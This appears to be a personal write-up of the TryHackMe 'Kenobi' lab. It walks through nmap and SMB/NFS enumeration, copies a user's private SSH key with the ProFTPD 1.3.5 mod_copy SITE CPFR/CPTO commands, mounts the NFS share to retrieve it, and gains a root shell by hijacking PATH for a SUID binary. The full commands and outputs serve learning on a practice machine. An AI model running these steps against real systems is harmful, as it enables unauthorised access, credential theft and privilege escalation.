Skip to main content

Kenobi writeup [thm]


Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.

Kenobi is the final challenge in the Getting Started section on the Offensive Pentesting Path. This post contains spoilers.

Deploy the vulnerable machine

Scan the machine with nmap, how many ports are open?

$: nmap -p- $target                           
Starting Nmap 7.91 ( ) at 2021-05-17 23:09 CEST
Nmap scan report for $target
Host is up (0.046s latency).
Not shown: 65524 closed ports
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
36291/tcp open  unknown
36481/tcp open  unknown
43591/tcp open  unknown
56703/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 26.15 seconds

Answer 7

Enumerating Samba for shares

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

Using nmap we can enumerate a machine for SMB shares.

Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!

Using nmap, how many shares have been found?

$: nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $target
Starting Nmap 7.91 ( ) at 2021-05-17 23:11 CEST
Nmap scan report for $target
Host is up (0.048s latency).

445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\$target\IPC$: 
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\$target\anonymous: 
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\$target\print$: 
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

Answer: 3

On most distributions of Linux smbclient is already installed. Lets inspect one of the shares. Using your machine, connect to the machines network share.

$: smbclient //$target/anonymous

You can recursively download the SMB share too. Submit the username and password as nothing.

$: smbget -R smb://$target/anonymous

Once you're connected, list the files on the share. What is the file can you see?

Answer: log.txt

Open the file on the share. There is a few interesting things found.

  • Information generated for Kenobi when generating an SSH key for the user
  • Information about the ProFTPD server.

What port is FTP running on?

From log.txt:

Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.

What mount can we see?

$: nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $target

Starting Nmap 7.91 ( ) at 2021-05-17 23:15 CEST
Nmap scan report for $target
Host is up (0.048s latency).

111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *
Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Answer: /var

Gain initial access with ProFtpd

Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.

What is the version?

$: nc $target 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [$target]

Answer: 1.3.5

We can use searchsploit to find exploits for a particular software version.

Searchsploit is basically just a command line search tool for

How many exploits are there for the ProFTPd running?

$: searchsploit ProFTPD 1.3.5                                                                                                                                                                                         1----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                           |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                                                                                                | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                                                                                      | linux/remote/
ProFTPd 1.3.5 - File Copy                                                                                                                                                                | linux/remote/36742.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Answer: 3

You should have found an exploit from ProFtpd's mod_copy module.

The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

We're now going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.

$: nc $target 21       
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [$target]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

We knew that the /var directory was a mount we could see (task 2, question 4). So we've now moved Kenobi's private key to the /var/tmp directory.

$: sudo mkdir /mnt/kenobiNFS  
$: sudo mount $target:/var /mnt/kenobiNFS
$: ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root    4096 Sep  4  2019 .
drwxr-xr-x  3 root root    4096 May 17 23:25 ..
drwxr-xr-x  2 root root    4096 Sep  4  2019 backups
drwxr-xr-x  9 root root    4096 Sep  4  2019 cache
drwxrwxrwt  2 root root    4096 Sep  4  2019 crash
drwxr-xr-x 40 root root    4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff   4096 Apr 12  2016 local
lrwxrwxrwx  1 root root       9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root crontab 4096 Sep  4  2019 log
drwxrwsr-x  2 root mail    4096 Feb 27  2019 mail
drwxr-xr-x  2 root root    4096 Feb 27  2019 opt
lrwxrwxrwx  1 root root       4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root    4096 Jan 30  2019 snap
drwxr-xr-x  5 root root    4096 Sep  4  2019 spool
drwxrwxrwt  6 root root    4096 May 17 23:24 tmp
drwxr-xr-x  3 root root    4096 Sep  4  2019 www

We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi's account.

$: cp /mnt/kenobiNFS/tmp/id_rsa .        
$: chmod 600 id_rsa                
$: ssh -i id_rsa kenobi@$target          
The authenticity of host '$target ($target)' can't be established.
ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '$target' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:
 * Management:
 * Support:

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep  4 07:10:15 2019 from
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.


What is Kenobi's user flag (/home/kenobi/user.txt)?

kenobi@kenobi:~$ cat user.txt

Privilege Escalation with Path Variable Manipulation

SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.

To search the a system for these type of files run the following:

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null

What file looks particularly out of the ordinary?

Answer: /usr/bin/menu

Run the binary, how many options appear?

kenobi@kenobi:~$ /usr/bin/menu

1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Mon, 17 May 2021 21:30:49 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

Strings is a command on Linux that looks for human readable strings on a binary.

kenobi@kenobi:~$ strings /usr/bin/menu
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
 Invalid choice
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609

This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).

As this file runs as the root users privileges, we can manipulate our path gain a root shell.

kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl 
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu 

1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami

We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the "curl" binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

What is the root flag (/root/root.txt)?

# cat /root/root.txt


It was benefital for me to get to work more with Samba, I'm getting more comfortable. Likewise for NFS.

The ProFTPD exploit was cool but I find it increasingly worrisome that most THM challenges are about using tools rather than gaining a deeper understanding of vulnerabilities. I could easily finish this room without even looking up how the ProFTPD 1.3.5 Mod_Copy Command Execution exploit works under the hood. Hopefully this will change as the challenges gets harder. In the meantime I have to keep reminding myself to at least read up on the exploits I use to get a shallow overview on how they work. At this point, the INFOSEC industry feels a lot like a glorified script kiddie haven to me. I'm absolutely not implying that INFOSEC people are n00bs but it feels a lot like you mostly look for known vulnerabilities and then apply ready made scripts to exploit them but I'm an outsider so what do I know? If this is your dayjob, why wouldn't you automate it?

I liked the privesc using path variable manipulation btw. It was more "down to earth" and easy to grasp.

Like Blue, Kenobi is more of walkthrough than a proper CTF but fun and informative all the same.

I'm trying to be more consistent with my markdown usage. Hopefully, my writeups will look a little neater from now on.

Tools used:

  • Nmap
  • Smbclient
  • Netcat
  • Searchsploit/
  • Strings

Offensive Pentesting


Getting Started section of the Offensive Pentesting path done! Now on the the next section Advanced Exploitation in which we will learn

  • Vulnerability Scanning
  • Handling Public Exploits
  • Password Cracking
  • Metasploit Framework
  • Port Redirection